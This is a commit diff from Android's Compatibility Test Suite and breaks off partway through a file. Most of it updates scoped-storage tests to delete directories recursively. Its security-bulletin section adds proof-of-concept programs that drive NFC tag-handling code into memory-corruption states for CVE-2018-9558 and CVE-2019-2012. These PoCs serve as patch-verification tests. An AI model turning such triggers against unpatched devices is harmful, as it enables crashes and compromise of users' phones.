diff options
author | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2022-02-09 08:01:21 +0000 |
---|---|---|
committer | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2022-02-09 08:01:21 +0000 |
commit | 5fa0aca339ac68b7c3cf8c89e41402645548e8b6 (patch) | |
tree | 556e8b47227b9eaa7af6947722744689bbd9bceb | |
parent | 5220af5f6bc582dd012becf6893ba75041d502dd (diff) | |
parent | 6d9854e119313a7583298447df0884bb2681abeb (diff) | |
download | cts-android12-mainline-resolv-release.tar.gz |
Snap for 8164116 from 6d9854e119313a7583298447df0884bb2681abeb to mainline-resolv-releaseandroid-mainline-12.0.0_r94android12-mainline-resolv-release
Change-Id: I13621c56a7c3c37f09128c810ebb882245a34f24
100 files changed, 4262 insertions, 1936 deletions
diff --git a/hostsidetests/appcompat/strictjavapackages/Android.bp b/hostsidetests/appcompat/strictjavapackages/Android.bp index fcb20e829cd..9ab8a832ca3 100644 --- a/hostsidetests/appcompat/strictjavapackages/Android.bp +++ b/hostsidetests/appcompat/strictjavapackages/Android.bp @@ -33,6 +33,6 @@ java_test_host { test_suites: [ "cts", "general-tests", - "mts", + "mts-mainline-infra", ], } diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java index a93aeee3c98..ee63a8abf13 100644 --- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java +++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java @@ -24,6 +24,7 @@ import static android.scopedstorage.cts.lib.TestUtils.CHECK_DATABASE_ROW_EXISTS_ import static android.scopedstorage.cts.lib.TestUtils.CREATE_FILE_QUERY; import static android.scopedstorage.cts.lib.TestUtils.CREATE_IMAGE_ENTRY_QUERY; import static android.scopedstorage.cts.lib.TestUtils.DELETE_FILE_QUERY; +import static android.scopedstorage.cts.lib.TestUtils.DELETE_RECURSIVE_QUERY; import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXCEPTION; import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_CALLING_PKG; import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_PATH; @@ -40,6 +41,7 @@ import static android.scopedstorage.cts.lib.TestUtils.RENAME_FILE_PARAMS_SEPARAT import static android.scopedstorage.cts.lib.TestUtils.RENAME_FILE_QUERY; import static android.scopedstorage.cts.lib.TestUtils.SETATTR_QUERY; import static android.scopedstorage.cts.lib.TestUtils.canOpen; +import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively; import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase; import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri; @@ -93,6 +95,7 @@ public class ScopedStorageTestHelper extends Activity { case CAN_READ_WRITE_QUERY: case CREATE_FILE_QUERY: case DELETE_FILE_QUERY: + case DELETE_RECURSIVE_QUERY: case CAN_OPEN_FILE_FOR_READ_QUERY: case CAN_OPEN_FILE_FOR_WRITE_QUERY: case OPEN_FILE_FOR_READ_QUERY: @@ -263,6 +266,9 @@ public class ScopedStorageTestHelper extends Activity { case DELETE_FILE_QUERY: intent.putExtra(queryType, file.delete()); return intent; + case DELETE_RECURSIVE_QUERY: + intent.putExtra(queryType, deleteRecursively(file)); + return intent; case SETATTR_QUERY: int newTimeMillis = 12345000; intent.putExtra(queryType, file.setLastModified(newTimeMillis)); diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java index 74ed31999aa..c684ee25c8c 100644 --- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java +++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java @@ -45,6 +45,7 @@ import static android.scopedstorage.cts.lib.TestUtils.createFileAs; import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs; import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow; import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively; +import static android.scopedstorage.cts.lib.TestUtils.deleteRecursivelyAs; import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider; import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow; import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid; @@ -210,7 +211,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { "CtsScopedStorageTestAppFileManager.apk"); // A legacy targeting app with RES and WES permissions private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy", - "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk"); + "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk"); // The following apps are not installed at test startup - please install before using. private static final TestApp APP_C = new TestApp("TestAppC", @@ -524,7 +525,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { public void testCreateAndDeleteEmptyDir() throws Exception { final File externalFilesDir = getExternalFilesDir(); // Remove directory in order to create it again - externalFilesDir.delete(); + deleteRecursively(externalFilesDir); // Can create own external files dir assertThat(externalFilesDir.mkdir()).isTrue(); @@ -538,9 +539,9 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { assertThat(dir2.mkdir()).isTrue(); // And can delete them all - assertThat(dir2.delete()).isTrue(); - assertThat(dir1.delete()).isTrue(); - assertThat(externalFilesDir.delete()).isTrue(); + assertThat(deleteRecursively(dir2)).isTrue(); + assertThat(deleteRecursively(dir1)).isTrue(); + assertThat(deleteRecursively(externalFilesDir)).isTrue(); // Can't create external dir for other apps final File nonexistentPackageFileDir = new File( @@ -618,7 +619,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { // At this point, we're not sure who created this file, so we'll have both apps // deleting it mediaFile.delete(); - dirInDownload.delete(); + deleteRecursively(dirInDownload); } } @@ -755,7 +756,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { assertThat(dir.list()).asList().doesNotContain(videoFileName); } finally { deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getPath()); - dir.delete(); + deleteRecursively(dir); } } @@ -787,7 +788,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { assertThat(listAs(APP_A_HAS_RES, dir.getPath())).doesNotContain(pdfFileName); } finally { deleteFileAsNoThrow(APP_B_NO_PERMS, pdfFile.getPath()); - dir.delete(); + deleteRecursively(dir); } } @@ -1161,7 +1162,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { try { // Delete the directory if it already exists if (podcastsDir.exists()) { - deleteAsLegacyApp(podcastsDir); + deleteRecursivelyAsLegacyApp(podcastsDir); } assertThat(podcastsDir.exists()).isFalse(); assertThat(podcastsDirLowerCase.exists()).isFalse(); @@ -1582,7 +1583,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { videoFile1.delete(); videoFile2.delete(); videoFile3.delete(); - nonMediaDir.delete(); + deleteRecursively(nonMediaDir); } } @@ -1758,15 +1759,15 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { } finally { pdfFile.delete(); - nonMediaDirectory.delete(); + deleteRecursively(nonMediaDirectory); videoFile1.delete(); videoFile2.delete(); videoFile3.delete(); - mediaDirectory1.delete(); - mediaDirectory2.delete(); - mediaDirectory3.delete(); - mediaDirectory4.delete(); + deleteRecursively(mediaDirectory1); + deleteRecursively(mediaDirectory2); + deleteRecursively(mediaDirectory3); + deleteRecursively(mediaDirectory4); } } @@ -1792,7 +1793,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { assertThat(deleteFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue(); } finally { deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getAbsolutePath()); - mediaDirectory1.delete(); + deleteRecursively(mediaDirectory1); + deleteRecursively(mediaDirectory2); } } @@ -1811,8 +1813,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { assertThat(emptyDirectoryOldPath.mkdirs()).isTrue(); assertCanRenameDirectory(emptyDirectoryOldPath, emptyDirectoryNewPath, null, null); } finally { - emptyDirectoryOldPath.delete(); - emptyDirectoryNewPath.delete(); + deleteRecursively(emptyDirectoryOldPath); + deleteRecursively(emptyDirectoryNewPath); } } @@ -1936,8 +1938,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { } finally { hiddenImageFile.delete(); imageFile.delete(); - hiddenDir.delete(); - nonHiddenDir.delete(); + deleteRecursively(hiddenDir); + deleteRecursively(nonHiddenDir); } } @@ -1976,7 +1978,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { noMediaFile.delete(); imageFile.delete(); videoFile.delete(); - directoryNoMedia.delete(); + deleteRecursively(directoryNoMedia); } } @@ -2354,8 +2356,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { otherAppVideoFile2.delete(); otherAppPdfFile1.delete(); otherAppPdfFile2.delete(); - dirInDcim.delete(); - dirInPictures.delete(); + deleteRecursively(dirInDcim); + deleteRecursively(dirInPictures); denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS); } } @@ -2479,8 +2481,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { fileSpecialChars.delete(); fileSpecialChars1.delete(); fileSpecialChars2.delete(); - dirSpecialChars.delete(); - renamedDir.delete(); + deleteRecursively(dirSpecialChars); + deleteRecursively(renamedDir); } } @@ -2550,7 +2552,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { } finally { deleteAsLegacyApp(topLevelDir1); deleteAsLegacyApp(topLevelDir2); - nonTopLevelDir.delete(); + deleteRecursively(nonTopLevelDir); } } @@ -3380,4 +3382,14 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { Log.d(TAG, "Deleting file " + file); deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath()); } + + /** + * Deletes the given file/directory recursively. If the file is a directory, then deletes all + * of its children (files or directories) recursively. + */ + private void deleteRecursivelyAsLegacyApp(File dir) throws Exception { + // Use a legacy app to delete this directory, since it could be outside shared storage. + Log.d(TAG, "Deleting directory " + dir); + deleteRecursivelyAs(APP_D_LEGACY_HAS_RW, dir.getAbsolutePath()); + } } diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java index e3b08bbb5e4..07383ac7a5c 100644 --- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java +++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java @@ -33,6 +33,7 @@ import static android.scopedstorage.cts.lib.TestUtils.checkPermission; import static android.scopedstorage.cts.lib.TestUtils.createFileAs; import static android.scopedstorage.cts.lib.TestUtils.createImageEntryAs; import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow; +import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively; import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow; import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid; import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand; @@ -351,7 +352,7 @@ public class LegacyStorageTest { try { assertThat(newDir.mkdir()).isFalse(); } finally { - newDir.delete(); + deleteRecursively(newDir); } } @@ -436,8 +437,8 @@ public class LegacyStorageTest { pdfFile1.delete(); pdfFile2.delete(); - nonMediaDir1.delete(); - nonMediaDir2.delete(); + deleteRecursively(nonMediaDir1); + deleteRecursively(nonMediaDir2); } } @@ -548,8 +549,8 @@ public class LegacyStorageTest { // UNIQUE constraint error. TestUtils.renameWithMediaProvider(directoryOldPath, directoryNewPath); } finally { - directoryOldPath.delete(); - directoryNewPath.delete(); + deleteRecursively(directoryOldPath); + deleteRecursively(directoryNewPath); } } @@ -725,7 +726,7 @@ public class LegacyStorageTest { imageInNoMediaDir.delete(); renamedImageInDCIM.delete(); noMediaFile.delete(); - directoryNoMedia.delete(); + deleteRecursively(directoryNoMedia); } } @@ -909,7 +910,7 @@ public class LegacyStorageTest { } finally { imageFile.delete(); imageFileInTopLevelDir.delete(); - topLevelTestDirectory.delete(); + deleteRecursively(topLevelTestDirectory); denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS); } } diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java index 47c2e9c1f7f..a04b86fed22 100644 --- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java +++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java @@ -99,6 +99,7 @@ public class TestUtils { public static final String CREATE_IMAGE_ENTRY_QUERY = "android.scopedstorage.cts.createimageentry"; public static final String DELETE_FILE_QUERY = "android.scopedstorage.cts.deletefile"; + public static final String DELETE_RECURSIVE_QUERY = "android.scopedstorage.cts.deleteRecursive"; public static final String CAN_OPEN_FILE_FOR_READ_QUERY = "android.scopedstorage.cts.can_openfile_read"; public static final String CAN_OPEN_FILE_FOR_WRITE_QUERY = @@ -296,6 +297,17 @@ public class TestUtils { } /** + * Makes the given {@code testApp} delete a file or directory. + * If the file is a directory, then deletes all of its children (file or directories) + * recursively. + * + * <p>This method drops shell permission identity. + */ + public static boolean deleteRecursivelyAs(TestApp testApp, String path) throws Exception { + return getResultFromTestApp(testApp, path, DELETE_RECURSIVE_QUERY); + } + + /** * Makes the given {@code testApp} delete a file. Doesn't throw in case of failure. */ public static boolean deleteFileAsNoThrow(TestApp testApp, String path) { @@ -966,8 +978,9 @@ public class TestUtils { final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace( callingPackageName, otherApp.getPackageName())); final File file = new File(otherAppExternalDataDir, fileName); - assertThat(createFileAs(otherApp, file.getPath())).isTrue(); try { + assertThat(createFileAs(otherApp, file.getPath())).isTrue(); + final ContentValues valuesWithData = new ContentValues(); valuesWithData.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath()); try { @@ -999,7 +1012,7 @@ public class TestUtils { } catch (IllegalArgumentException expected) { } } finally { - assertThat(deleteFileAs(otherApp, file.getPath())).isTrue(); + deleteFileAsNoThrow(otherApp, file.getPath()); } } @@ -1019,33 +1032,38 @@ public class TestUtils { final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace( callingPackageName, otherApp.getPackageName())); final File file = new File(otherAppExternalDataDir, fileName); - assertThat(createFileAs(otherApp, file.getPath())).isTrue(); - MediaStore.scanFile(getContentResolver(), file); - - final ContentValues valuesWithData = new ContentValues(); - valuesWithData.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath()); try { - int res = getContentResolver().update(MediaStore.Files.getContentUri(VOLUME_EXTERNAL), - valuesWithData, Bundle.EMPTY); + assertThat(createFileAs(otherApp, file.getPath())).isTrue(); + MediaStore.scanFile(getContentResolver(), file); - if (throwsExceptionForDataValue) { - fail("File update expected to fail: " + file); - } else { - assertThat(res).isEqualTo(0); + final ContentValues valuesWithData = new ContentValues(); + valuesWithData.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath()); + try { + int res = getContentResolver().update( + MediaStore.Files.getContentUri(VOLUME_EXTERNAL), + valuesWithData, Bundle.EMPTY); + + if (throwsExceptionForDataValue) { + fail("File update expected to fail: " + file); + } else { + assertThat(res).isEqualTo(0); + } + } catch (IllegalArgumentException expected) { } - } catch (IllegalArgumentException expected) { - } - final ContentValues valuesWithRelativePath = new ContentValues(); - final String path = file.getAbsolutePath(); - valuesWithRelativePath.put(MediaStore.MediaColumns.RELATIVE_PATH, - path.substring(path.indexOf("Android"))); - valuesWithRelativePath.put(MediaStore.MediaColumns.DISPLAY_NAME, fileName); - try { - getContentResolver().update(MediaStore.Files.getContentUri(VOLUME_EXTERNAL), - valuesWithRelativePath, Bundle.EMPTY); - fail("File update expected to fail: " + file); - } catch (IllegalArgumentException expected) { + final ContentValues valuesWithRelativePath = new ContentValues(); + final String path = file.getAbsolutePath(); + valuesWithRelativePath.put(MediaStore.MediaColumns.RELATIVE_PATH, + path.substring(path.indexOf("Android"))); + valuesWithRelativePath.put(MediaStore.MediaColumns.DISPLAY_NAME, fileName); + try { + getContentResolver().update(MediaStore.Files.getContentUri(VOLUME_EXTERNAL), + valuesWithRelativePath, Bundle.EMPTY); + fail("File update expected to fail: " + file); + } catch (IllegalArgumentException expected) { + } + } finally { + deleteFileAsNoThrow(otherApp, file.getPath()); } } diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java index 61287450357..ebc8f1047c1 100644 --- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java +++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java @@ -32,6 +32,7 @@ import static android.scopedstorage.cts.lib.TestUtils.canReadAndWriteAs; import static android.scopedstorage.cts.lib.TestUtils.createFileAs; import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs; import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow; +import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively; import static android.scopedstorage.cts.lib.TestUtils.dropShellPermissionIdentity; import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand; import static android.scopedstorage.cts.lib.TestUtils.getAndroidDir; @@ -144,7 +145,7 @@ public class ScopedStorageTest { "CtsScopedStorageTestAppB.apk"); // A legacy targeting app with RES and WES permissions private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy", - "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk"); + "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk"); @Before public void setup() throws Exception { @@ -329,7 +330,8 @@ public class ScopedStorageTest { final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace( THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName())); final File otherAppExternalDataSubDir = new File(otherAppExternalDataDir, "subdir"); - final File otherAppExternalDataFile = new File(otherAppExternalDataSubDir, "abc.jpg"); + final File otherAppExternalDataFile = + new File(otherAppExternalDataSubDir, IMAGE_FILE_NAME); assertThat(createFileAs(APP_B_NO_PERMS, otherAppExternalDataFile.getAbsolutePath())) .isTrue(); @@ -519,7 +521,7 @@ public class ScopedStorageTest { nomediaFile.delete(); mediaFile.delete(); renamedMediaFile.delete(); - nomediaDir.delete(); + deleteRecursively(nomediaDir); } } @@ -556,8 +558,8 @@ public class ScopedStorageTest { mediaFile1InSubDir.delete(); mediaFile2InSubDir.delete(); topLevelNomediaFile.delete(); - nomediaSubDir.delete(); - nomediaDir.delete(); + deleteRecursively(nomediaSubDir); + deleteRecursively(nomediaDir); // Scan the directory to remove stale db rows. MediaStore.scanFile(getContentResolver(), nomediaDir); } @@ -904,8 +906,8 @@ public class ScopedStorageTest { imageFile.delete(); renamedImageFile.delete(); imageFileInRenamedDir.delete(); - dir.delete(); - renamedDir.delete(); + deleteRecursively(dir); + deleteRecursively(renamedDir); } } diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp index d3e6ea7c486..7770ebde437 100644 --- a/hostsidetests/securitybulletin/Android.bp +++ b/hostsidetests/securitybulletin/Android.bp @@ -29,9 +29,10 @@ java_test_host { ], // Must match the package name in CtsTestCaseList.mk libs: [ + "compatibility-host-util", "cts-tradefed", + "sts-host-util", "tradefed", - "compatibility-host-util", ], } diff --git a/hostsidetests/securitybulletin/res/cve_2020_0034.ivf b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf Binary files differnew file mode 100644 index 00000000000..d03c2469bad --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf diff --git a/hostsidetests/securitybulletin/res/cve_2021_39664 b/hostsidetests/securitybulletin/res/cve_2021_39664 Binary files differnew file mode 100644 index 00000000000..21f7d245d99 --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2021_39664 diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp index e20c0f222d0..e7508298c9c 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp @@ -20,6 +20,16 @@ #include <nfc_api.h> #include <rw_int.h> +bool isTestInProgress = false; +struct sigaction new_action, old_action; +void sigabrt_handler(int signum, siginfo_t *info, void *context) { + if (isTestInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + #define INITIAL_VALUE 0xBE #define NUM_BYTES 1 @@ -33,18 +43,31 @@ void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { } int main() { - tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t; - rw_init(); - rw_cb.p_cback = &poc_cback; - p_t2t->state = RW_T2T_STATE_DETECT_TLV; - p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV; - p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE; - p_t2t->found_tlv = TAG_LOCK_CTRL_TLV; - p_t2t->bytes_count = NUM_BYTES; - p_t2t->tlv_value[1] = UINT8_MAX; - uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES); - memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK)); - uint8_t data[T2T_READ_DATA_LEN]; - rw_t2t_handle_rsp(data); - return EXIT_SUCCESS; + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t; + rw_init(); + rw_cb.p_cback = &poc_cback; + p_t2t->state = RW_T2T_STATE_DETECT_TLV; + p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV; + p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE; + p_t2t->found_tlv = TAG_LOCK_CTRL_TLV; + p_t2t->bytes_count = NUM_BYTES; + p_t2t->tlv_value[1] = UINT8_MAX; + uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES); + memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK)); + uint8_t data[T2T_READ_DATA_LEN]; + isTestInProgress = true; + rw_t2t_handle_rsp(data); + isTestInProgress = false; + return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp index 2c9502b68aa..78f51bd2e4a 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp @@ -15,33 +15,28 @@ * */ +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + cc_test { - name: "CVE-2021-0684", + name: "CVE-2019-2012", defaults: ["cts_hostsidetests_securitybulletin_defaults"], - header_libs: [ - "libbatteryservice_headers", - ], srcs: [ "poc.cpp", - "TestInputListener.cpp", ":cts_hostsidetests_securitybulletin_memutils", ], - cflags: [ - "-DCHECK_OVERFLOW", - "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=4096", - "-Wno-unused-parameter", - ], - static_libs: [ - "libinputdispatcher", + compile_multilib: "64", + include_dirs: [ + "system/nfc/src/nfc/include", + "system/nfc/src/include/", + "system/nfc/src/gki/common/", + "system/nfc/src/gki/ulinux", ], shared_libs: [ - "libinputflinger_base", - "libinputreader", - "libinputflinger", - "libinputreader", - "libbase", - "libinput", - "liblog", - "libutils", + "libnfc-nci", + ], + cflags: [ + "-DCHECK_OVERFLOW", ], } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp new file mode 100644 index 00000000000..97556ba9501 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp @@ -0,0 +1,175 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <nfc_api.h> +#include <nfc_int.h> +#include <rw_int.h> +#include <stdlib.h> +#include <string.h> +#include <tags_defs.h> + +#include "../includes/common.h" + +#define T3T_MSG_FELICALITE_MC_OFFSET 0x01 + +bool testInProgress = false; + +struct sigaction new_action, old_action; + +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit (EXIT_FAILURE); +} + +extern tRW_CB rw_cb; +extern tNFC_CB nfc_cb; +tNFC_CONN *p_data; +void rw_init(void); +tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN], + uint8_t mrti_check, uint8_t mrti_update); + +void *allocate_memory(size_t size) { + void *ptr = malloc(size); + if (ptr) { + memset(ptr, 0x0, size); + } + return ptr; +} + +/* States */ +enum { + RW_T3T_STATE_NOT_ACTIVATED, RW_T3T_STATE_IDLE, RW_T3T_STATE_COMMAND_PENDING +}; + +/* Enumeration of API commands */ +enum { + RW_T3T_CMD_DETECT_NDEF, + RW_T3T_CMD_CHECK_NDEF, + RW_T3T_CMD_UPDATE_NDEF, + RW_T3T_CMD_CHECK, + RW_T3T_CMD_UPDATE, + RW_T3T_CMD_SEND_RAW_FRAME, + RW_T3T_CMD_GET_SYSTEM_CODES, + RW_T3T_CMD_FORMAT, + RW_T3T_CMD_SET_READ_ONLY_SOFT, + RW_T3T_CMD_SET_READ_ONLY_HARD, + RW_T3T_CMD_MAX +}; + +/* Sub-states */ +enum { + /* Sub states for formatting Felica-Lite */ + RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for + formatting) */ + RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-read to complete */ + RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-write to complete */ + RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write + to complete */ + /* Sub states for setting Felica-Lite read only */ + RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for + setting read only) */ + RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write + to complete */ + RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-read to complete */ + RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl) + block-write to complete */ +}; + +enum { + P_MC_VAL = !T3T_MSG_FELICALITE_MC_OFFSET +}; + +void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { + (void) event; + (void) p_rw_data; +} + +void GKI_freebuf(void* p_buf __attribute__((unused))) { +} + +void GKI_start_timer(uint8_t, int32_t, bool) { +} + +void GKI_stop_timer(uint8_t) { +} + +void exit_handler(void) { + if (p_data) { + if (p_data->data.p_data) { + free(p_data->data.p_data); + p_data->data.p_data = nullptr; + } + free(p_data); + p_data = nullptr; + } +} + +int main() { + atexit(exit_handler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = { }; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t; + GKI_init(); + rw_init(); + + rw_cb.p_cback = &poc_cback; + uint8_t peer_nfcid2[NCI_RF_F_UID_LEN]; + uint8_t mrti_check = 1, mrti_update = 1; + 